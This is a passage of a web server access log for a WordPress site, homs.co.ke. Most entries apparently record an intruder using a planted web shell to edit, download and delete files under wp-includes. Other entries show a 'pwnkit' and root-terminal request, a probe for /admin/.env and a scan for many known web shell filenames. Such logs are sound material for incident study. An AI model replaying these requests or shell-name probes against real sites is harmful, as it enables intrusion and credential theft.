AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.173.169.152 - - [06/Mar/2026:07:09:15 -0700] "GET /?act=edit&file=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.182 - - [06/Mar/2026:07:09:15 -0700] "GET /?act=edit&file=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 200 22301 "http://mail.homs.co.ke/?act=edit&file=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.41 - - [06/Mar/2026:07:09:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=category.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.27 - - [06/Mar/2026:07:09:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=category.php HTTP/1.1" 200 9190 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.239 - - [06/Mar/2026:07:12:15 -0700] "GET /?act=download&file=spl-autoload-compat.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.4 - - [06/Mar/2026:07:13:12 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-walker-page.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.182 - - [06/Mar/2026:07:13:13 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-walker-page.php HTTP/1.1" 200 7625 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.80 - - [06/Mar/2026:07:14:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-query.php HTTP/1.1" 200 52548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.180.122 - - [06/Mar/2026:07:14:19 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-admin-bar.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.101 - - [06/Mar/2026:07:14:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-admin-bar.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.46 - - [06/Mar/2026:07:15:16 -0700] "GET /?act=edit&file=class-walker-category-dropdown.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.74 - - [06/Mar/2026:07:15:17 -0700] "GET /?del=Engine&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZg== HTTP/1.1" 200 4744 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.226 - - [06/Mar/2026:07:15:17 -0700] "GET /?act=edit&file=class-walker-category-dropdown.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 5475 "http://www.homs.co.ke/?act=edit&file=class-walker-category-dropdown.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.23.203 - - [06/Mar/2026:07:19:19 -0700] "GET /?act=download&file=class-wp-block-patterns-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.214 - - [06/Mar/2026:07:19:19 -0700] "GET /?del=SimplePie.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5 HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.191 - - [06/Mar/2026:07:19:19 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-phpmailer.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.201 - - [06/Mar/2026:07:19:20 -0700] "GET /?act=edit&file=autoloader.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.31 - - [06/Mar/2026:07:19:20 -0700] "GET /?act=edit&file=comment.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.80 - - [06/Mar/2026:07:19:20 -0700] "GET /?act=download&file=class-wp-block-patterns-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-block-patterns-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.111 - - [06/Mar/2026:07:19:20 -0700] "GET /?del=SimplePie.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5 HTTP/1.1" 200 4828 "http://www.homs.co.ke/?del=SimplePie.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.121 - - [06/Mar/2026:07:19:20 -0700] "GET /?act=edit&file=comment.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 49974 "http://www.homs.co.ke/?act=edit&file=comment.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.246 - - [06/Mar/2026:07:19:20 -0700] "GET /?act=edit&file=autoloader.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ== HTTP/1.1" 200 6505 "http://www.homs.co.ke/?act=edit&file=autoloader.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.75 - - [06/Mar/2026:07:19:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-phpmailer.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.195 - - [06/Mar/2026:07:19:21 -0700] "GET /?act=download&file=vars.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.150 - - [06/Mar/2026:07:19:22 -0700] "GET /?act=download&file=vars.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=vars.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 86.54.42.136 - - [06/Mar/2026:07:24:48 -0700] "GET /admin/.env HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 43.173.177.240 - - [06/Mar/2026:08:02:47 -0700] "GET /?act=download&file=02b&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltM2Q0YTli HTTP/1.1" 200 4187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.193 - - [06/Mar/2026:08:02:47 -0700] "GET /?act=download&file=html5-named-character-references.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.199 - - [06/Mar/2026:08:02:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=category.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.225 - - [06/Mar/2026:08:02:48 -0700] "GET /?act=download&file=html5-named-character-references.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp HTTP/1.1" 200 4181 "http://mail.homs.co.ke/?act=download&file=html5-named-character-references.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2h0bWwtYXBp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.151 - - [06/Mar/2026:08:02:49 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=category.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.249 - - [06/Mar/2026:08:03:51 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Fzc2V0cw== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.193 - - [06/Mar/2026:08:03:51 -0700] "GET /?act=download&file=version.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.88 - - [06/Mar/2026:08:03:51 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Fzc2V0cw==&terminal=root HTTP/1.1" 200 5934 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.184 - - [06/Mar/2026:08:03:52 -0700] "GET /?act=download&file=version.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=version.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.203 - - [06/Mar/2026:08:25:07 -0700] "GET /?act=download&file=class-wp-theme-json.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.149 - - [06/Mar/2026:08:25:07 -0700] "GET /?act=download&file=theme.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.139 - - [06/Mar/2026:08:25:07 -0700] "GET /?del=nextjs&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L3dpZGdldHM= HTTP/1.1" 200 5203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.28 - - [06/Mar/2026:08:25:08 -0700] "GET /?act=download&file=deprecated.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.123 - - [06/Mar/2026:08:25:08 -0700] "GET /?act=download&file=theme.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=theme.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.82 - - [06/Mar/2026:08:25:08 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4= HTTP/1.1" 200 5193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.170 - - [06/Mar/2026:08:25:08 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-network.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.107 - - [06/Mar/2026:08:25:09 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-network.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.59 - - [06/Mar/2026:08:25:10 -0700] "GET /?act=download&file=deprecated.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=deprecated.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.2 - - [06/Mar/2026:08:25:10 -0700] "GET /?act=download&file=class-wp-theme-json.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-theme-json.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.214 - - [06/Mar/2026:08:26:12 -0700] "GET /?act=download&file=style-engine.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.121 - - [06/Mar/2026:08:26:13 -0700] "GET /?act=download&file=style-engine.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=style-engine.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 40.77.167.5 - - [06/Mar/2026:08:38:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-network.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 101.99.88.90 - - [06/Mar/2026:08:45:48 -0700] "GET / HTTP/1.1" 200 390144 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:07 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:08 -0700] "GET /Zjokrx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:09 -0700] "GET /xc0252.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:10 -0700] "GET /buc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:11 -0700] "GET /ddl.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:11 -0700] "GET /by.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:12 -0700] "GET /hidedz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:14 -0700] "GET /wp-spow.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:16 -0700] "GET /FF3.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:17 -0700] "GET /sf.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:23 -0700] "GET /asw.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:26 -0700] "GET /eee.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:29 -0700] "GET /lp6.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:31 -0700] "GET /akses.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:32 -0700] "GET /no1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:33 -0700] "GET /teee.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:34 -0700] "GET /elabel.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:38 -0700] "GET /bafFz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:39 -0700] "GET /rere.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:42 -0700] "GET /jocundly.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:43 -0700] "GET /wo.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:44 -0700] "GET /h2h.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:44 -0700] "GET /rithin.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:47 -0700] "GET /kk.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:47 -0700] "GET /path.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:48 -0700] "GET /cs.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:50 -0700] "GET /w2025.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:53 -0700] "GET /foxr.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:00:54 -0700] "GET /swallowable.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:00 -0700] "GET /claw.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:03 -0700] "GET /fvvff.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:08 -0700] "GET /a2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:09 -0700] "GET /sty.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:10 -0700] "GET /xxxx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:11 -0700] "GET //h.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:11 -0700] "GET /g.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:13 -0700] "GET /pp.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:14 -0700] "GET //sys.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:15 -0700] "GET /txets.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:17 -0700] "GET /wp9.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:18 -0700] "GET /path.php HTTP/1.1" 409 83 "-" "-" 